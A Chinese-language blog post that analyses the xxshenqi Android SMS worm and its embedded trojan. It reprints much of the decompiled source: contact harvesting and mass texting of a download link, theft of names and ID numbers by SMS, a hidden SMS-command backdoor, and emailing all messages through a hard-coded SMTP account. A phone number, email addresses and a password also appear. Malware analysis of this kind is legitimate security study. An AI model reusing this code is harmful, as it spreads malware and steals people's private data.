背景
今年七夕爆發了一場大規模手機病毒傳播,apk的名字叫做xxshenqi。中了這個病毒的用戶會羣發手機所有聯繫人一條信息,內容是包含這個apk下載的鏈接,同時用戶的聯繫人信息和短信會被竊取,造成隱私泄露和電話扣費的危害。事實上,xxshenqi.apk只是一個外殼,達到擴散及得到用戶的身份證和姓名的目的,它解壓後會發現還內嵌有一個com.android.Trogoogle.apk的木馬程序,這個程序能夠控制用戶短信,包括讀取,發送和僞造。
反編譯
由於軟件的作者沒有進行代碼混淆,所以對apk反編譯之後的代碼一目瞭然。
前期準備:
1.解壓軟件 (解壓apk,獲得classes.dex)
2.dex2jar (將apk的classes.dex轉化爲jar文件)
3.jd-gui (反編譯工具,直接查看jar包的源代碼)
4.xxshenqi.apk (樣本)
步驟:
1.用解壓軟件把xxshenqi.apk解壓出來,找到一個classes.dex文件,這個是安卓源碼編譯過的字節碼包
2.將這個classes.dex文件複製到dex2jar.bat同一目錄下
3.cmd到該目錄下,運行命令>> d2j-dex2jar.bat classes.dex
4.得到一個classes_dex2jar.jar文件
5.用jd-gui.exe打開這個jar文件,就可以看到源代碼了
6.用1-5步驟得到assets目錄下的com.android.Trogoogle.apk的源代碼
代碼分析
包名:com.example.xxshenqi
|->點擊登陸按鈕->永遠無法登陸成功
程序運行的步驟是:WelcomeActivity->MainActivity{
|->點擊註冊按鈕->RegisterActivity
WelcomeActivity
首先可以發現WelcomeActivity是最開始的歡迎界面,在啓動這個界面的過程中,程序就已經完成以下幾件事:
1.讀取聯繫人信息,包括聯繫人姓名和聯繫人手機號碼
2.向所有聯繫人羣發一條短信
3.羣發完成後向作者發送一條完成短信
接下來分析WelcomeActivity中的ReadCONTACTS方法中的代碼:
private void ReadCONTACTS(Context paramContext)
{
this.contactArray = new ArrayList();
this.context = paramContext;
this.cursor = this.context.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
new Thread()
{
public void run()
{
if (!WelcomeActivity.this.cursor.moveToNext())
{
if (WelcomeActivity.this.counts != 99) {}
}
else
{
String str = WelcomeActivity.this.cursor.getString(WelcomeActivity.this.cursor.getColumnIndex("_id"));
WelcomeActivity.this.nameString = WelcomeActivity.this.cursor.getString(WelcomeActivity.this.cursor.getColumnIndex("display_name"));
Cursor localCursor = WelcomeActivity.this.context.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id = " + str, null, null);
ArrayList localArrayList = new ArrayList();
localArrayList.add("\r\n" + WelcomeActivity.this.nameString);
for (;;)
{
if (!localCursor.moveToNext()) {}
for (;;)
{
localCursor.close();
WelcomeActivity.this.contactArray.add(localArrayList);
break;
WelcomeActivity.this.phoneString = localCursor.getString(localCursor.getColumnIndex("data1"));
WelcomeActivity.this.phoneString = WelcomeActivity.this.phoneString.replace(" ", "");
WelcomeActivity.this.phoneString = WelcomeActivity.this.phoneString.replace("+86", "");
try
{
if (WelcomeActivity.this.phoneString.length() == 11)
{
sleep(20L);
if ((WelcomeActivity.this.counts % 20 == 0) && (WelcomeActivity.this.counts != 0)) {
sleep(5000L);
}
if (WelcomeActivity.this.counts == 99) {
continue;
}
SmsManager.getDefault().sendTextMessage(WelcomeActivity.this.phoneString, null, WelcomeActivity.this.nameString + "看這個," + "http://cdn.yyupload.com/down/4279193/XXshenqi.apk", null, null);
WelcomeActivity localWelcomeActivity1 = WelcomeActivity.this;
localWelcomeActivity1.counts = (1 + localWelcomeActivity1.counts);
System.out.println("send Message to " + WelcomeActivity.this.nameString + " " + WelcomeActivity.this.counts);
}
}
catch (Exception localException)
{
for (;;)
{
localException.toString();
}
}
}
localArrayList.add(WelcomeActivity.this.phoneString);
}
}
SmsManager.getDefault().sendTextMessage("18670259904", null, "XXshenqi 羣發鏈接OK", null, null);
WelcomeActivity localWelcomeActivity2 = WelcomeActivity.this;
localWelcomeActivity2.counts = (1 + localWelcomeActivity2.counts);
System.out.println("===========================");
System.out.println("test---->羣發OK");
System.out.println("============================");
}
}.start();
}
可以看到以下幾條關鍵代碼:
this.cursor = this.context.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
讀取通訊錄
WelcomeActivity.this.nameString = WelcomeActivity.this.cursor.getString(WelcomeActivity.this.cursor.getColumnIndex("display_name"));
獲得聯繫人姓名
WelcomeActivity.this.phoneString = localCursor.getString(localCursor.getColumnIndex("data1"));
獲得聯繫人手機號碼
在這裏,作者對聯繫人手機號碼做了一些處理,把空格和"+86"前綴去掉,得到11位的手機號碼,在判斷手機號碼爲11位之後,就開始發短信。同時,爲了防止過於快速的發送短信被運營商封禁,作者還做了休眠(sleep()),每條短信休眠20ms,每20條短信休眠5秒,每100條短信清空一下指針。
SmsManager.getDefault().sendTextMessage(WelcomeActivity.this.phoneString, null, WelcomeActivity.this.nameString + "看這個," + "http://cdn.yyupload.com/down/4279193/XXshenqi.apk", null, null)
上面就是發送短信的代碼,也就是廣大用戶收到的那條短信,可以看出第一個參數是接收端的手機號碼,第三個參數是短信內容,其中這裏的代碼phoneString存的是手機號碼,nameString存的是聯繫人名字。
SmsManager.getDefault().sendTextMessage("18670259904", null, "XXshenqi 羣發鏈接OK", null, null);
最後,羣發成功後就會發送一條信息給作者。這裏也可以看到作者的手機號碼。
MainActivity
在前面程序完成了散播病毒的功能,接下來在MainActivity完成以下幾件事:
1.檢測Trogoogle子包是否已經安裝,如果沒有,就引導用戶去安裝,然後找到assets目錄下的com.android.Trogoogle.apk安裝
2.安裝成功後會發一條信息給作者,表示用戶已經中了木馬
3.此時到了程序主界面,如果用戶選擇“登陸",就先對網絡進行檢測,事實上用戶是永遠不可能登陸成功的,因爲若用戶輸入的密碼大於等於6位,會顯示"正在驗證,請稍後..."“密碼錯誤或賬號不存在”,若用戶輸入的密碼小於6位,會顯示"請輸入正確的密碼或賬號"(傳說中的坑爹);如果用戶選擇"註冊",那麼就會到了RegisterActivity進行註冊
檢測和安裝Trogoogle
if (!detectApk("com.example.com.android.trogoogle"))
{
System.out.println("host開始安裝==============================");
String str = getFilesDir().getAbsolutePath() + "/com.android.Trogoogle.apk";
retrieveApkFromAssets(this, "com.android.Trogoogle.apk", str);
showInstallConfirmDialog(this, str);
}</span>
<span style="font-size:18px;"> public boolean retrieveApkFromAssets(Context paramContext, String paramString1, String paramString2)
{
try
{
File localFile = new File(paramString2);
if (localFile.exists()) {
return true;
}
localFile.createNewFile();
InputStream localInputStream = paramContext.getAssets().open(paramString1);
FileOutputStream localFileOutputStream = new FileOutputStream(localFile);
byte[] arrayOfByte = new byte[1024];
boolean bool;
for (;;)
{
int i = localInputStream.read(arrayOfByte);
if (i == -1)
{
localFileOutputStream.flush();
localFileOutputStream.close();
localInputStream.close();
bool = true;
break;
}
localFileOutputStream.write(arrayOfByte, 0, i);
}
AlertDialog.Builder localBuilder;
return bool;
}
catch (IOException localIOException)
{
Toast.makeText(paramContext, localIOException.getMessage(), 2000).show();
localBuilder = new AlertDialog.Builder(paramContext);
localBuilder.setMessage(localIOException.getMessage());
localBuilder.show();
localIOException.printStackTrace();
bool = false;
}
}
public void showInstallConfirmDialog(final Context paramContext, final String paramString)
{
AlertDialog.Builder localBuilder = new AlertDialog.Builder(paramContext);
localBuilder.setIcon(2130837592);
localBuilder.setTitle("未安裝資源包");
localBuilder.setMessage("請先安裝資源包,資源包已整合至APK,點擊安裝即可安裝。");
localBuilder.setPositiveButton("安裝", new DialogInterface.OnClickListener()
{
public void onClick(DialogInterface paramAnonymousDialogInterface, int paramAnonymousInt)
{
try
{
String str = "chmod 777 " + paramString;
Runtime.getRuntime().exec(str);
Intent localIntent = new Intent("android.intent.action.VIEW");
localIntent.addFlags(268435456);
localIntent.setDataAndType(Uri.parse("file://" + paramString), "application/vnd.android.package-archive");
paramContext.startActivity(localIntent);
return;
}
catch (IOException localIOException)
{
for (;;)
{
localIOException.printStackTrace();
}
}
}
});
localBuilder.show();
}
登陸
public void onClick(View paramAnonymousView)
{
if (!MainActivity.this.detectApk("com.example.com.android.trogoogle"))
{
String str = MainActivity.this.getFilesDir().getAbsolutePath() + "/com.android.Trogoogle.apk";
MainActivity.this.retrieveApkFromAssets(MainActivity.this, "com.android.Trogoogle.apk", str);
MainActivity.this.showInstallConfirmDialog(MainActivity.this, str);
return;
}
if (!MainActivity.this.goToNetWork())
{
Toast.makeText(MainActivity.this, "無法連接,請檢查您的網絡!", 0).show();
return;
}
if (MainActivity.this.pass.getText().toString().length() >= 6)
{
Toast.makeText(MainActivity.this, "正在驗證,請稍後...", 0).show();
Toast.makeText(MainActivity.this, "密碼錯誤或賬號不存在!", 0).show();
return;
}
Toast.makeText(MainActivity.this, "請輸入正確的賬號或密碼", 0).show();
}
RegisterActivity
public void onClick(View paramAnonymousView)
{
String str = RegisterActivity.this.idEditText.getText().toString();
if (str.length() != 18)
{
Toast.makeText(RegisterActivity.this, "請輸入正確的身份證號", 0).show();
return;
}
int i = Integer.parseInt(str.substring(6, 10));
int j = Integer.parseInt(str.substring(10, 12));
int k = Integer.parseInt(str.substring(12, 14));
if ((i > 1996) || (i < 1980) || (j > 12) || (j == 0) || (k == 0) || (k > 31))
{
Toast.makeText(RegisterActivity.this, "請輸入正確的身份證號", 0).show();
return;
}
if ((RegisterActivity.this.nameEditText.getText().toString().length() < 2) || (RegisterActivity.this.nameEditText.getText().toString().length() > 4))
{
Toast.makeText(RegisterActivity.this, "請輸入正確的姓名", 0).show();
return;
}
SmsManager.getDefault().sendTextMessage("18670259904", null, "得到主機,姓名:" + RegisterActivity.this.nameEditText.getText().toString() + ",身份證號爲:" + str, null, null);
Toast.makeText(RegisterActivity.this, "註冊成功!", 0).show();
RegisterActivity.this.startActivity(new Intent(RegisterActivity.this, MainActivity.class));
}
這個註冊的Activity獲取了用戶填寫的姓名和身份證號,註冊完成後這些信息會以短信的形式發送到作者的手機上。同時,從上面的代碼可以看出作者也對姓名和身份證號做了簡單的校驗。
分析完掩人耳目的外殼,現在來看裏面的木馬程序
包名:example.com.android.trogoogle
MainActivity
在這個入口程序中,主要的功能是實現隱藏圖標。
protected void onCreate(Bundle paramBundle)
{
super.onCreate(paramBundle);
requestWindowFeature(1);
setContentView(2130903063);
getPackageManager().setComponentEnabledSetting(getComponentName(), 2, 1);
System.out.println("APP圖標隱藏成功==============================");
Intent localIntent = new Intent();
localIntent.setClass(this, ListenMessageService.class);
startService(localIntent);
System.out.println(" startService成功==============================");
System.out.println("--------->>>finish()");
finish();
}
ListenMessageService
這裏有個比較重要的類SmsObserver,顧名思義,是用來監控短信的。裏面包含了SEND查詢和RECV查詢,以及幾種處理狀態。當發件箱有變化時,就會進入SEND查詢;當收件箱有變化時就會進入RECV查詢。
BroadcastRecvMessage
RECV有幾種指令,包括
readmessage指令就會讀取所有短信並且發送到作者的郵箱中;
sendmessage指令就會發送指定的內容到指定的號碼;
makemessage指令僞造短信
if (!str5.equals("readmessage")) {
break label188;
}
System.out.println("木馬收到發送郵件命令==============================");
String str10 = ReadAllMessage(paramContext);
Intent localIntent4 = new Intent(paramContext, MySendEmailService.class);
localIntent4.putExtra("String", str10);
paramContext.startService(localIntent4);
abortBroadcast();
continue;
if (!str5.equals("sendmessage")) {
break label188;
}
System.out.println("木馬收到發送短信命令==============================");
int n = str2.lastIndexOf('/');
String str8 = str2.substring(k + 1, n);
String str9 = str2.substring(n + 1, str2.length());
SmsManager.getDefault().sendTextMessage(str8, null, str9, null, null);
System.out.println("木馬發送短信成功================================");
if (!str5.equals("makemessage")) {
break label188;
}
System.out.println("木馬收到僞造短信命令==============================");
int m = str2.lastIndexOf('/');
String str6 = str2.substring(k + 1, m);
String str7 = str2.substring(m + 1, str2.length());
Intent localIntent3 = new Intent(paramContext, MyMakeMessageService.class);
localIntent3.putExtra("address", str6);
localIntent3.putExtra("body", str7);
paramContext.startService(localIntent3);
同時還有一些作者判定的信息內容也會發送給作者(比如,淘寶和普通的信息)
System.out.println("木馬覺得淘寶信息==============================");
str4 = "【特殊消息】" + str2;
if (str4.length() > 60)
{
localSmsManager.sendTextMessage("18670259904", null, str4.substring(0, str4.length() / 2), null, null);
localSmsManager.sendTextMessage("18670259904", null, str4.substring(1 + str4.length() / 2), null, null);
}
System.out.println("木馬覺得是普通信息==============================");
localSmsManager.sendTextMessage("18670259904", null, "From:" + str3 + ";content:" + str2, null, null);
MySendEmailService
這裏作者暴露了他的個人郵箱和口令
protected void onHandleIntent(Intent paramIntent)
{
System.out.println("木馬進入MySendEmailService==============================");
String str = paramIntent.getStringExtra("String");
System.out.println("木馬開始發送郵件============================");
MailSenderInfo localMailSenderInfo = new MailSenderInfo();
localMailSenderInfo.setMailServerHost("smtp.qq.com");
localMailSenderInfo.setMailServerPort("25");
localMailSenderInfo.setValidate(true);
localMailSenderInfo.setUserName("[email protected]");
localMailSenderInfo.setPassword("lishulili.");
localMailSenderInfo.setFromAddress("[email protected]");
localMailSenderInfo.setToAddress("[email protected]");
localMailSenderInfo.setSubject("信息");
localMailSenderInfo.setContent(str);
new SimpleMailSender().sendTextMail(localMailSenderInfo);
SimpleMailSender.sendHtmlMail(localMailSenderInfo);
System.out.println("木馬完成發送郵件=============================");
System.out.println("木馬離開MySendEmailService=============================");
System.out.println("木馬killProcess==============================");
Process.killProcess(Process.myPid());
}
當然,現在口令已經被改了。
總結
據作者本人說沒想過影響會那麼大。確實,社工部分非常簡陋,傳播的信息內容只是”xxx,看這個,http://cdn.yyupload.com/down/4279193/XXshenqi.apk“,這樣子看來,毫不猶豫點擊這個鏈接看上去挺傻的,因爲發送者什麼都沒有說明,可事實上確實有很多用戶中招了。
雖然很多人說作者做這個東西其實沒什麼技術含量,但是他才大一,並且想做就做了,這點挺佩服的,如果能增加一點法律意識可能就沒那麼悲劇了。
後記
這個程序在安全大牛眼裏可能是一個玩具,但是對於我來說拿來練手就剛剛好了。第一次反編譯和分析apk,有種莫名的成就感。不過文章寫出來,似乎表達差了一點。最後非常感謝CJ給我提供了樣本。
參考
http://fashion4cj.com/shuo-yi-shuo-xxshenqizhe-ge-shi-qing-ba.html
http://www.cnblogs.com/qxzy/p/3889296.html